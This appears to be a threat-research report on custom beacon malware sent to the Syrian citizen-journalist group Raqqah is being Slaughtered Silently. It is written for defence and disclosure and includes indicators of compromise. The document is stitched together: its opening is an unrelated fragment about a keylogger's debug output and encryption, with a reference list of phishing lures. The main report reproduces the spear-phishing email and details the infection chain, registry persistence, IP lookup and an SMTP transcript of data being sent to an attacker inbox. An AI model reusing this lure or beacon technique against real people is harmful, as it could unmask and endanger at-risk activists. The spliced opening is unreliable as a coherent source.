[Output DeviceObject = 0x0, bIsHidKbd = 0x0
<><><><><><><><><><><><><><><><><><><><><><><><><><><>
<><><><><><><><><><><><><><><><><><><><><><><><><><><>
DR0 = 0x60, DR1 = 0x64, DR2 = 0xF7190410, DR3 = 0x0, DR6 = 0xFFFF2FF0,
DR7 = 0x22073F
Current ISR, HighAddress = 0xf718, LowAddress = 0xf330, Flag = 0xee oldCR4 =
0x6F9
oldDR7 = 0x22073F
<><><><><><><><><><><><><><><><><><><><><><><><><><><>
<><><><><><><><><><><><><><><><><><><><><><><><><><><>
These debug messages and code style are duplicates of what chpie posted in the
past.
This keylogger module encrypts and stores gathered data in a log file, as men-
tioned previously.
Its encryption algorithm is similar to RC4.
Interesting part is
that the module randomly generates the key and stores it in an unexpected place:
in the middle of the log file name.
Hence, the numeric part of the filename is used
as a seed for the pseudorandom number generator.
Rand function is statically
linked to insure same results on different computers.
Here is the commented RC4 encryption code:
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72
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73
Appendix E. Parallel and Previous Research
Getting “Left of Boom”: How ThreatConnect Enables Proactive Cybersecurity,
ThreatConnect February 2014
http://www.threatconnect.com/news/getting-leftof-boom-threatconnect-en-
ables-proactive-cybersecurity/
Nevermind Nenim’s hidden agenda ­we still caught it, Microsoft MMPC, April 2013
http://blogs.technet.com/b/mmpc/archive/2013/04/14/nevermind-nenim-s-
hidden-agenda-we-still-caught-it.aspx
RSA­512 Certificates abused in the wild, Fox­IT November 2011
http://blog.fox-it.com/2011/11/21/rsa-512-certificates-abused-in-the-wild/
Dec 21 CVE­2009­0556 (corrected CVE) Christmas Messages.pps with stolen cert from
Syniverse from nicholas.bennett53@hotmail.com, Contagio, December 2010
http://contagiodump.blogspot.ro/2010/12/dec-21-cve-2010-2572-christmas.html
“CVE­2010­2883 Adobe 0­Day David Leadbetter’s One Point Lesson from
193.106.85.61 thomasbennett34@yahoo.com”, Contagio, Sept 2010
http://contagiodump.blogspot.ro/2010/12/dec-21-cve-2010-2572-christmas.
html
Apr 26 CVE­2010­0188 PDF North Korea Policy Piece from (fake) walterkeats@
yahoo.com, Contagio, April 2010
http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-
lesson.html
Mar 27 CVE­2010­0806 IE 0­day Dozens missing after ship sinks near North Korea
from kevin.bohn33@hotmail.com, Contagio March 2010
http://contagiodump.blogspot.com/2010/04/apr-28-cve-2010-0188-pdf-
north-korea.html
Threat Outbreak Alert: Fake North Korean Sunken Ship Report E­mail Messages
on March 27, 2010, Cisco
http://tools.cisco.com/security/center/viewThreatOutbreakAlert.x?alert
Id=20148
Security Advisory for Adobe Reader and Acrobat, Adobe, cve­2010­2883
http://www.adobe.com/support/security/advisories/apsa10-02.
html?PID=6157500
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Malware Attack Targeting Syrian ISIS Critics
by John Scott-Railton and Seth Hardy
With the collaboration of Cyber Arabs.
Media coverage: Associated Press, Forbes
Summary
This report describes a malware attack with circumstantial links to the Islamic State in Iraq and Syria.
In the interest of
highlighting a developing threat, this post analyzes the attack and provides a list of Indicators of Compromise.
A Syrian citizen media group critical of Islamic State of Iraq and Syria (ISIS) was recently targeted in a
customized digital attack designed to unmask their location.
The Syrian group, Raqqah is being Slaughtered
Silently (RSS), focuses its advocacy on documenting human rights abuses by ISIS elements occupying the city of Ar-
Raqah.
In response, ISIS forces in the city have reportedly targeted the group with house raids, kidnappings, and an
alleged assassination.
The group also faces online threats from ISIS and its supporters, including taunts that ISIS is spying
on the group.
Though we are unable to conclusively attribute the attack to ISIS or its supporters, a link to ISIS is
plausible.
The malware used in the attack differs substantially from campaigns linked to the Syrian
regime, and the attack is focused against a group that is an active target of ISIS forces.
Background: Citizen Journalists under Threat in ISIS-controlled Territories
As the Syrian Civil War continues, Syrian citizen journalists and nonviolent activists operate in an increasingly unsafe
environment.
The regime has never welcomed their work, and has often targeted them for arrest and detention, and a
multi-year hacking campaign (see Pro-Regime / Regime Linked Groups).
Additionally, not all elements of the Syrian
opposition have uniformly supported nonviolent activists and citizen journalists.
More recently, in areas like Raqqah,
nonviolent activists face a new and exceptionally grave threat: ISIS.
A growing number of reports suggest that ISIS is
systematically targeting groups that document atrocities, or that communicate with Western media and aid organizations,
sometimes under the pretext of finding “spies”.
Map: Raqqah is indicated by the red arrow.
Colors indicate areas mostly under the control of the following groups:
Black = ISIS, Red = Syrian Regime, Green = Free Syrian Army, Yellow = Kurdish.
Note: the map is not highly detailed,
nor completely up-to-date, but is useful in showing general areas of control.
Source: @DeSyracuse
Ar-Raqqah, the city in which the case study is located, is situated in northern Syria and continues to be a key conflict
flashpoint of the Syrian Civil War.
In the spring of 2013, Islamists and Free Syrian Army (FSA) fighters took over Ar-
Raqqah from regime forces.
As ISIS gained momentum, they consolidated their control over the city, edging out FSA-
affiliated groups through attacks, summary executions, and kidnappings against a range of groups, including ethnic and
religious minorities.
Information Control by ISIS
During 2014, there were a number of reports—many unconfirmed—that ISIS confiscated smartphones and laptops from
captured activists.
According to Syrians who experienced these searches and spoke with one of the reports’ authors, ISIS
sometimes extracts data from confiscated smartphones and laptops to collect information about people and groups they
are targeting, as well as to seek evidence of “un-Islamic” activities.
As ISIS cements their control of Ar-Raqqah and other territories, reports have emerged recently (though not all of them
confirmed) suggesting that elements within ISIS are growing increasingly sophisticated at imposing control and targeting
opponents using digital methods.
Reports about ISIS targeting Internet cafés have grown increasingly common, and in
some cases reports point to the possible use of keyloggers as well as unspecified “IP sniffers” to track behaviour in Internet
cafes.
The Situation of Nonviolent Activists and Citizen Journalists in Ar-Raqqah
Nonviolent activists and citizen journalists based in Ar-Raqqah have provided the outside world with much of what we
know about how ISIS treats the population.
These activists and journalists face mortal danger for their actions, and
reports have emerged of their detention and torture at the hands of ISIS.
As ISIS continues to use social media to push the message that it is welcomed by the population of Ar-Raqqah, groups like
Raqqah is being Slaughtered Silently (RSS) provide a compelling counter narrative.
RSS hasn’t escaped ISIS’ notice, and
the group has been targeted for kidnappings, house raids, and at least one alleged targeted killing.
At the time of writing,
ISIS is allegedly holding several citizen journalists in Ar-Raqqah.
Image 1: Example of an online threat made against RSS.
The image, which cannot be confirmed, purports to show CCTV
installed around Raqqah.
In addition, RSS is targeted online by ISIS supporters with harassment, including threats to the physical safety of its
members.
For example, ISIS supporters have claimed that ISIS has established a system of CCTV cameras in Ar-Raqqah to
observe residents’ movements.
While this claim may be a bluff or exaggeration, at least one ISIS supporter has indicated
on social media that this system could be used to look for members of RSS.
Analyzing the Attack
This section describes a highly targeted attack sent to an e-mail address belonging to RSS.
The Citizen Lab analyzed this
attack with the consent of RSS, which requested that their name be used in this report.
The attack took the form of an unsolicited e-mail containing a download link to a decoy file.
The file
contained custom malware that profiled the victim’s computer and beaconed its IP address to an e-mail
account under the attacker’s control.
The Targeting of RSS
The unsolicited message below was sent to RSS at the end of November 2014 from a Gmail email address.
The message
was carefully worded, and contained references specific to the work and interests of RSS.
Targeting Email
Thank you for your efforts to deliver a true picture of the reality of life in Raqqah.
As Syrians residing in Canada we are
working with media because we believe in the importance of shedding light on the realities of life in Syria, and Raqqah in
particular.
We are preparing a lengthy news report on the realities of life in Raqqah.
We are sharing some information
with you with the hope that you will correct it in case it contains errors.
We have prepared a map of the city of Raqqah, in
addition to a preliminary report.
We hope that you have a look at it with them and inform us of any errors.
We also hope
that if you happen to be on Facebook, you could provide us with the account of the person responsible for the campaign, if
you don’t mind, so that we can communicate with him directly.
You can see a preliminary copy of the report on this linkhttp://tempsend [DOT]com/[Redacted]With all respect
[Name Redacted]
Original Arabic
‫ﺒﺔ‬#$ ‫ﺔ‬#‫ ﺗﺤ‬..
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^‫ﻼ‬$‫ﻹ‬+ ‫ ﻣﻨﻜﻢ‬+‫ﺮ ﻣﺒﺪء` ﻧﺮﺟﻮ‬I‫ﻟﻰ ﺗﻘﺮ‬+ 1‫ﻟﺮﻗﺔ ﺑﺎﻻﺿﺎﻓ‬+ ‫ﻨﺔ‬I‫ﻄﺔ ﻟﻤﺪ‬I‫ ﺧﺮ‬Q+‫ﺚ ﻗﻤﻨﺎ ﺑﺈﻋﺪ‬#‫ ﺣ‬, ‫ﺌﺔ‬$‫ﻨﺎ ﻓﻲ ﺣﺎ> ﻛﺎﻧﺖ ﺧﺎ‬I‫ﻟﺘﻲ ﻟﺪ‬+ f‫ﻟﻤﻌﻠﻮﻣﺎ‬+ ‫ﺢ ﺑﻌﺾ‬#‫ﺻﻞ ﻣﻌﻜﻢ ﻟﺘﺼﺤ‬+‫ﻟﺬﻟﻚ ﻗﻤﻨﺎ ﺑﺎﻟﺘﻮ‬7
1‫ﺻﻞ ﻣﻌ‬+‫ﻟﺘﻮ‬+ ‫ﺘﻢ‬#‫ ﻟ‬, ‫ﻟﻚ‬k ‫ﻜﻢ ﻣﺎﻧﻊ ﻣﻦ‬I‫ﻜﻦ ﻟﺪ‬I ‫ ﻓﻲ ﺣﺎ> ﻟﻢ‬1‫ﻟﺤﻤﻠ‬+ ‫ﻦ ﻋﻠﻰ‬#‫ﻟﻘﺎﺋﻤ‬+ ‫ﺣﺪ‬+ m‫ﺪﻧﺎ ﺑﺤﺴﺎ‬I7‫ ﺑﺘﺰ‬o‫ﺲ ﺑﻮ‬#‫ﻟﻔ‬+ ‫ﺟﺪﻛﻢ ﻋﻠﻰ‬+‫ ﻣﻨﻜﻢ ﻓﻲ ﺣﺎ> ﺗﻮ‬+‫ ﻛﻤﺎ ﻧﺮﺟﻮ‬, ‫ﺗﻨﺎ ﺑﺄ` ﺧﻄﺎء‬Q‫ﻗﺎ‬r7 ‫ﺎ‬R#‫ﻋﻠ‬
‫ﻟﺘﺎﻟﻲ‬+ ‫ﺑﻂ‬+‫ﻟﺮ‬+ ‫ﺮ ﻋﻠﻰ‬I‫ﺔ ﻟﻠﺘﻘﺮ‬#‫ﻟﻤﺒﺪﺋ‬+ 1‫ﻟﻨﺴﺨ‬+ ‫ﻼ^ ﻋﻠﻰ‬$‫ﻻ‬+ ‫ﻤﻜﻨﻜﻢ‬I‫ﺑﺸﻜﻞ ﻣﺒﺎﺷﺮ‬http://tempsend [DOT]com/[Redacted]‫ﺮ‬I‫ﻟﺘﻘﺪ‬+ ‫ﻣﻊ ﻛﻞ‬
[Name Redacted]
We are unsure why the attacker specifically mentions Canada in the email lure.
However, it is well known that Syria’s
extensive diaspora (including in Canada) regularly engages in advocacy, sometimes in coordination with groups within
Syria.
Thus, the message is not on its face implausible.
However, we note that the attacker also attempts to social
engineer the identity of individuals working with RSS, by requesting a personal Facebook page.
Analyzing the Malware
The custom malware used in this attack infects a user who views the decoy “slideshow,” and beacons home with the IP
address of the victim’s computer and details about his or her system each time the computer restarts.
Unlike Syrian regime-linked malware, it contains no Remote Access Trojan (RAT) functionality,
suggesting it is intended for identifying and locating a target.
Further, because the malware sends data captured by the malware to an e-mail address, it does not require that the
attackers maintain a command-and-control server online.
This functionality would be especially useful to an adversary
unsure of whether it can maintain uninterrupted Internet connectivity.
Narrative of Infection
Accessing the link provided in the malicious e-mail sends the user to a .zip file hosted on file-sharing site
tempsend.com.
At the time of writing the file had been downloaded only 10 times
Image 2: Tempsend screenshot
The file to be downloaded is “slideshow.zip”
MD5: b72e6678e79cc57d33e684528b5721bd
This file contains slideshow.exe
MD5: f8bfb82aa92ea6a8e4e0b378781b3859
This file is a self-extracting archive with an icon intended to suggest to the victim that it is itself a slideshow.
When run, the file opens a slideshow of Google Earth screen captures to the victim, displaying a series of locations in
Syria, and highlighting an “ISIS HQ” and other images showing the alleged locations of US airstrikes.
Examples of images in the slideshow as follows:
Infection and Data Collection
When opened, the “slideshow.zip” file writes and executes several files:
C:\Users\[Username]\AppData\Local\Temp\IXP000.TMP\AdobeR1.exe C:\Users\
[Username]\AppData\Local\Temp\IXP000.TMP\pictures.exe
“AdobeR1.exe” is malicious, while “pictures.exe” is the genuine slideshow displayed to the victim.
When the slideshow is
closed both AdobeR1.exe and pictures.exe are deleted.
The AdobeR1 file writes a series of executable files that perform information collection and communication functions,
including:
C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\AdbrRader.exe
C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\AdobeIns.exe
C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\GoogleUpate.exe
C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\GooglUpd.exe
C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\nvidrv.exe
C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\nvisdvr.exe
C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\rundl132.exe
C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\svhosts.exe
C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\nvidrv.exe
Program Sequence
The program sequence of data collection and sending is somewhat unusual, with each program performing a single task
and communicating via markers left in the registry.
Programs appear to make use of the Visual C++ Runtime Library.
First, the program nvidrv adds itself to autorun:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run under name “UpdAdbreader”
It also creates a series of registry keys that the individual programs use to communicate:
Registry keys and programs using them:
rundl132.exe:
DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K6F-DKV8J-FKVJI-
GVKBU\6nvisdvr.exe:
DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K4F-DKV8J-FKVJI-
GVKBU\4GoogleUpate.exe:
DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K3F-DKV8J-FKVJI-
GVKBU\3AdbrRader.exe:
DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K2F-DKV8J-FKVJI-
GVKBU\2nvidrv.exe:
DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K1F-DKV8J-FKVJI-GVKBU\1
Sets name “1” to StartupInfo structure as a string, e.g.
“0x3110x611”
It then runs GooglUpd, which cleans up the program files if they exist, and runs AdbrRader.
AdbrRader
(communicating through registry key “2”) writes the file vgadmysadm.tmp with the name of another registry key “2” with
startup info.
C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\ vgadmysadm.tmp
Next, nvidrv runs GoogleUpate, which collects system information and writes it to:
C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\vg2sxoysinf.tmp
Then nvidrv runs nvisdvr (registry key “4”) that collects a list of running processes, which are written to:
C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\v2cgplst.tmp
Finally, nvidrv runs svhosts, which tests Internet connectivity by doing a DNS query for windowsupdate.microsoft.com.
It then runs rundl132 if it has not before, by checking whether registry key name “6” is present.
It sets the key to “0” and
runs it.
Next, “rundl132.exe” performs an HTTP GET request to myexternalip.com and collects the external IP of the infected
machine:
GET /raw HTTP/1.1
Host: myexternalip.com
Cache-Control: no-cacheHTTP/1.1 200 OK
Server: nginx/1.6.2
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Date: [REDACTED]
My-External-Ip: [REDACTED]f
[REDACTED]0
Next, rundl132 writes:
C:\Users\[Username]\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\Q7B90TFG\raw[1].txt
Then rundl132 writes the external IP to:
C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\vgosysaext.tmp
Finally, rundl132 runs AdobeIns, which zips the contents of the win32.tmp folder.
Program “AdobeIns.exe” takes the files written by the other programs and zips them in an encrypted, password-
protected file:
C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\drv.sys\mxtd
Data Transmission
Data is transmitted by e-mail to an account presumably controlled by the attacker.
AdobeIns connects to an account at the online e-mail provider inbox.com via smtp using hardcoded credentials.
The
malware then sends an e-mail to the same inbox containing the text “Hello” and with mxtd file attached.
SMTP traffic generated by the malware to inbox.com (with redactions)
220 [REDACTED]ESMTP Postfix
EHLO [REDACTED]
250-[REDACTED]
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:< [REDACTED]@inbox.com>
250 2.1.0 Ok
RCPT TO:< [REDACTED]@inbox.com>
250 2.1.5 Ok
DATA
354 End data with .
Date: [REDACTED]
From: <[REDACTED]@inbox.com>
X-Priority: 3 (Normal)
To: <[REDACTED]@inbox.com>
Subject: repo
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=”__MESSAGE__ID__[REDACTED]”–__MESSAGE__ID__[REDACTED]
Content-type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bitHello
–__MESSAGE__ID__[REDACTED]
Content-Type: application/x-msdownload; name=”mxtd”
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=”mxtd”[REDACTED]–__MESSAGE__ID__[REDACTED]–.
250 2.0.0 Ok: queued as [REDACTED]
QUIT
221 2.0.0 Bye
Evaluation of the Malware’s Functionality
The malware seen in this case study is unusual as it relies on a half-dozen separate executable files, each with a
single task, and each communicating via markers dropped in the Registry.
The malware is also interesting because it does not provide remote access, but only sends an e-mail containing
the victim’s IP address and miscellaneous system information.
The malware resends the information each time
the computer is restarted, but it does not refresh the sent information on restart (which may be a bug).
This behaviour
strongly suggests that the function of this malware is to serve as a beacon.
The system information could be used to
identify processes to exploit in the future, however since the attacker has already triggered the execution of a file on the
victim’s system, it is surprising that more was not taken, or that a RAT (custom or widely available) was not used.
A RAT
would have provided much greater access alongside IP information
By not providing remote access and other RAT functionality, the program looks less like malware, and may attract less
attention from endpoint protection tools and scanners.
Detections were low when the file was first submitted to
VirusTotal, for example.
It registered only 6/55 detections by anti virus scanners, or a 10% detection rate.
Transmitting the malware via e-mail also provides a degree of obscurity, and has the additional advantage of providing a
layer of abstraction between the attacker and the target: there is no need to maintain a RAT command-and-control server.
The malware transmits autonomously, leaving the material in an inbox for the attacker to collect at a later time.
The malware has no obfuscation processes and is not highly technical in its development or interaction with Windows.
Nevertheless, we believe that the author of the program is aware of certain techniques to reduce the visibility of malware
on a network, including transmitting data via encrypted e-mail communications.
However, the attacker has not correctly
implemented encrypted e-mail: the malware will not attempt to use a TLS connection in certain cases.
As a result, account
login credentials may be readily available in network traffic.
In addition, the malware uses the old PKWARE implementation of zip encryption, which is not particularly secure.
The
password for the zipped file is also present in the binary without encryption or obfuscation.
Targeted Threats Index
Citizen Lab researchers have developed the Targeted Threat Index (TTI) as a tool to standardize information about the
sophistication of targeted threats against civil society groups in our research.
The index captures information about the
level of social engineering used (“Targeting Sophistication”), and adds a Technical Sophistication value for the attack as a
multiplier.
This attack, which has little technical sophistication (i.e., it uses no exploits, code obfuscation, or techniques to frustrate
reversing, etc.
), nevertheless has carefully developed social engineering in the seeding materials and bait document.
Taken
together it rates a 3 for Targeting Sophistication and a 1.25 for Technical Sophistication by our metric, yielding a TTI score
of 3.75.
Citizen Lab research using the TTI has found that, despite low levels of technical sophistication, with well-crafted
social engineering malware attacks remain highly effective against civil society groups.
More information is available
about the TTI in a recent Usenix Security paper.
Attribution
There are at least three possible sources for this malware attack:
Pro-regime / regime-linked malware groups
ISIS-linked hackers
Other, unknown actors
We evaluate each of these possibilities in turn, drawing on the information available to us after almost three years of
tracking regime-linked malware.
Pro-Regime / Regime-Linked Groups
Pro-regime malware actors have continually targeted the Syrian opposition with waves of malware since at least late 2011.
Those campaigns have been extensively reported on by a range of groups, including Kaspersky, FireEye, Citizen Lab, the
Electronic Frontier Foundation, and many others.
Regime-linked malware has a number of common features that
typically serve as distinguishing characteristics:
Social engineering focusing on the needs and interests of the opposition.
Although targeted, the malware seeding
often aims at classes of people (e.g., people interested in ‘shocking’ news about a fighter, or ‘leaked’ information
about the Assad regime) rather than carefully written spear phishing targeting a single individual or small group.
Use of widely available RATs (njRAT, Xtreme Rat, ShadowTech Rat, DarkComet RAT, and Blackshades RAT, among
others).
At least one command-and-control server located within Syrian IP space (often from a limited range of addresses).
Frequent use of Dynamic DNS providers like no-ip.
Use of “crypters” to obscure the binary.
These characteristics are not all present in every sample, but we have typically found one or more in almost every binary
we have examined that is Syrian regime-linked.
This malware attack differs from known regime-linked groups in each of these elements.
Not only is it
exceptionally targeted, but it is also not a commonly available RAT.
Nor does it have RAT functionality.
The function of
the malware appears to be: identify and unmask the IP address of target(s), and resend them to the attacker with each
reboot.
In addition, data is sent to an Internet e-mail address, and no crypter is used to obscure the binary.
We are aware of only one previous case in Syria in which e-mail was used to transmit data, and that we believed was
regime linked.
That incident, observed in 2012, also used hardcoded e-mail to exfiltrate.
However, that malware had
substantially more functionality than this case: not only did it drop a second stage from a compromised site, but was also
included a mechanism for exfiltrating credentials from Facebook and hooking programs like Skype.
The lack of overlap in Tactics, Techniques, and Procedures (TTPs) between this attack and prior attacks does not rule out
Syrian regime-linked attackers.
It is possible that regime-linked groups are trying a new approach.
However, given that
known regime-linked groups continued to remain active during the same date range using familiar TTPs, this scenario
seems unlikely.
In addition, it would be strange for regime-linked malware groups to undertake significant effort to
prepare and send an implant that has significantly less functionality than what they commonly use.
Taken together, we
find this evidence supports the hypothesis that familiar regime-linked groups did not conduct the attack.
ISIS-linked Hackers
RSS operates in territory controlled by ISIS, and has faced extensive targeting by ISIS.
Currently, they appear to be
directly targeted by ISIS for kidnappings and other retaliation, including executions.
In addition, ISIS supporters have
explicitly suggested that the group is under surveillance and actively hunted.
Together this evidence suggests that ISIS
has a strong motivation for using social engineering and/or malware to locate the members of RSS.
We think there are several features of the malware attack that align with the needs and constraints of
ISIS and its supporters in Ar-Raqqah, more so than other groups, as we understand them.
For example:
The malware beacons location but does not provide RAT functionality.
The seeding attempts to obtain a ‘private’ Facebook identity from RSS through social engineering.
The malware exfiltrates to an online e-mail account, thus not requiring the attacker to maintain a command-and-
control server online.
The social media activity of members of RSS is often highly public.
Their location and exact membership, however, is
secret.
We speculate that if an attacker were interested in maintaining long-term surveillance of the activities of RSS they
could have employed a RAT.
However, if the attacker were interested in unmasking the location of its targets so they could
be physically tracked down, collecting IP data and system info would be a more reasonable approach.
ISIS or its supporters clearly have a strong interest in the (rudimentary) location tracking of the members of RSS that this
malware provides.
Internet connectivity in Raqqah is extremely limited, and some of it is under ISIS control.
Knowing the
IP address of a target could quickly narrow down targets to specific locations, and specific Internet services, or Internet
cafes in Raqqah.
Given that the identities and locations of RSS members are closely guarded, such information would hold
significant intelligence value for ISIS.
Armed with this kind of information, ISIS could physically harm people within
Raqqah (and it is also possible that they have the ability to operate in some capacity in border areas of Turkey).
Little is publicly known about the technical capabilities of ISIS and its supporters; however, reports have begun to emerge
suggesting that ISIS is interested in expanding its abilities.
In addition, ISIS has reportedly gained the support of at least
one individual with some experience with social engineering and hacking: Junaid Hussain (aka TriCk), a former member
of teamp0ison hacking team.
While Mr. Hussain and associates have reportedly made threats against Western
governments, it is possible that he or others working with ISIS have quietly supported an effort to identify the targeted
organization, which is a highly visible thorn in the side of ISIS.
Other Unknown Actors
It is possible that the attack is the product of actors working for unknown purposes and targeting RSS.
Given the activities
of RSS, however, it is unclear who this might be.
It is not possible, for example, to reject the theory that some unknown
group within the FSA, or other groups opposing the Assad regime are responsible.
Citizen journalists in Ar-Raqqah were
previously critical of arbitrary arrests carried out by non-ISIS groups in 2013.
However, it is unclear why those groups,
which no longer control Ar-Raqqah, would be interested in RSS in November 2014.
It is likely that third party actors, including several intelligence services, are closely monitoring various actors in the
conflict through a range of electronic means.
However, there is little reason to suggest that they would use a tailored but
technically rudimentary attack to target RSS in particular.
Conclusion: ISIS Can’t Be Ruled Out
After considering each possibility, we find strong but inconclusive circumstantial evidence to support a
link to ISIS.
However, we are unable to connect this attack directly to ISIS, Mr. Hussain, or other ISIS supporters.
If
indeed ISIS or its supporters are responsible, it seems reasonable that such an offensive capability may still be in
development.
We hope that publishing this report will draw attention to a new and concerning threat that includes ISIS critics among its
targets.
If ISIS is responsible, while this attack targets in-country impediments to ISIS objectives, other targets may
include ideological or military adversaries abroad.
Whether or not ISIS is responsible, this attack is likely the work of a non-regime threat actor who may be just beginning to
field a still-rudimentary capability in the Syrian conflict.
The entry costs for engaging in malware attacks in a conflict like
the Syrian Civil War are low, and made lower by the fact that the rule of law is nonexistent for large parts of the country.
In
still other parts (under regime control), malware attacks appear to be state sanctioned.
Attacks Targeting Civil Society
Citizen Lab research into targeted digital threats against civil society confirms that civil society groups
face grave threats from targeted malware attacks, despite being under-resourced to defend against them.
The case highlighted here is no exception: lack of IT and security resources have made it difficult for the Syrian opposition
to address targeted and persistent digital threats against them.
In addition, if ISIS is indeed responsible, this case suggests
how easy it is for belligerents in a conflict to begin fielding basic offensive digital capabilities, and how quickly the
capabilities can be pointed at unarmed civil society groups.
Warning: Social Engineering Thrives in Syrian Context
This attack was exceptionally targeted, and clearly reflected the work of an actor familiar with the operations of the
targeted organization.
As most organizations working on issues surrounding Syria are aware, malware delivered with good
social engineering is a constant source of danger.
This particular attack can be prevented by not opening files sent by unknown persons.
However, many
attacks in Syria come from hijacked accounts and impersonate people known to the targets.
Social engineering remains an
unsolved problem, and continues to compromise groups throughout the Syrian opposition and their supporters.
This attack reaffirms the dangers posed by social engineering attacks, whether they deliver phishing campaigns or
malware.
The circumstantial evidence of ISIS involvement suggests that groups working on topics that ISIS considers a
threat, and their partner organizations and supporters, should urgently examine their security policies and assess
the possible risks to their operations, and the consequences of exposure of sensitive information to ISIS.
Even if the link to ISIS turns out to be incorrect, it is possible that this will be a threat in the future.
Individuals and groups at risk can also consult materials in Arabic provided by Cyber Arabs including a series of very
accessible videos on digital security.
Indicators of Compromise
The malware files
Filename                                            MD5
slideshow.zip               b72e6678e79cc57d33e684528b5721bd
slideshow.exe               f8bfb82aa92ea6a8e4e0b378781b3859
Files dropped by the malware
Filename and Path                                                       MD5
C:\Users\
[Username]\AppData\Local\Temp\IXP000.TMP\AdobeR1.exe                                aa6bcba23cd39c2827d72d33f5104856
(note: folder and file deleted after slideshow closed)
C:\Users\
[Username]\AppData\Local\Temp\IXP000.TMP\pictures.exe (note:                        eda83c8e4ba7d088593f22d56cf39d9f
folder and file deleted after slideshow closed)
C:\Users\
9d36e8e3e557239d7006d0bb5c2df298
[Username]\Microsoft\Windows\Z0xapp8T.tmp\AdbrRader.exe
C:\Users\
1d5d8c5ce3854de61b28de7ca73093f1
[Username]\Microsoft\Windows\Z0xapp8T.tmp\AdobeIns.exe
C:\Users\
55039dd6ce3274dbce569473ad37918b
[Username]\Microsoft\Windows\Z0xapp8T.tmp\GoogleUpate.exe
C:\Users\
efdd9b96ae0f43f7d738ead2e1d5430c
[Username]\Microsoft\Windows\Z0xapp8T.tmp\GooglUpd.exe
C:\Users\
0e3eb8de93297f12b56de9fc33657066
[Username]\Microsoft\Windows\Z0xapp8T.tmp\nvidrv.exe
C:\Users\
3eb6f95c321ace0e3b101fd7e2cdd489
[Username]\Microsoft\Windows\Z0xapp8T.tmp\nvisdvr.exe
C:\Users\
84bbd592a212f5a84923e82621e9177d
[Username]\Microsoft\Windows\Z0xapp8T.tmp\rundl132.exe
C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\
13caa1c95e6610f2d5134174e1fb4fd0
svhosts.exe
Collected Information Files (unencrypted)
Filename and Path
C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\v2cgplst.tmp
C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\vg2sxoysinf.tmp
C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\vgadmysadm.tmp
C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\vgosysaext.tmp
Exfiltrated file (encrypted)
Filename and Path
C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\drv.sys\mxtd
Registry Keys
Filename and Path
DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K1F-
DKV8J-FKVJI-GVKBU\1
DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K2F-
DKV8J-FKVJI-GVKBU\2
DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K3F-
DKV8J-FKVJI-GVKBU\3
DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K4F-
DKV8J-FKVJI-GVKBU\4
DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K6F-
DKV8J-FKVJI-GVKBU\6
Acknowledgements
Acknowledgements: We are grateful to Cyber Arabs and the Institute for War and Peace Reporting for their critical work
and assistance.
Special thanks to: several anonymous Syrians, Masashi Crete-Nishihata, Sarah McKune, Morgan Marquis-Boire, Ron
Deibert, Bill Marczak, Nart Villeneuve, Irene Poetranto, and Kristen Dennesen.
Support for this research is provided by grants from the John D. and Catherine T. MacArthur Foundation and the Ford
Foundation.
Footnotes
1   https://www.hate-speech.org/intense-hunt-for-americas-spies/
2   http://www.ibtimes.com/isis-militants-target-high-speed-internet-cafes-Raqqah-stronghold-1745382 (note that this
report also sources Raqqah is being Slaughtered Silently)
3   https://www.hate-speech.org/intense-hunt-for-americas-spies/
4   http://www.telegraph.co.uk/news/worldnews/islamic-state/11291510/Syrian-activist-tell-of-brutal-torture-by-Assad-
regime-and-Isil.html
5   https://twitter.com/Raqqah_sl and http://www.
Raqqah-sl.com
6   Special thanks to Cyber Arabs for assistance with the translation
7
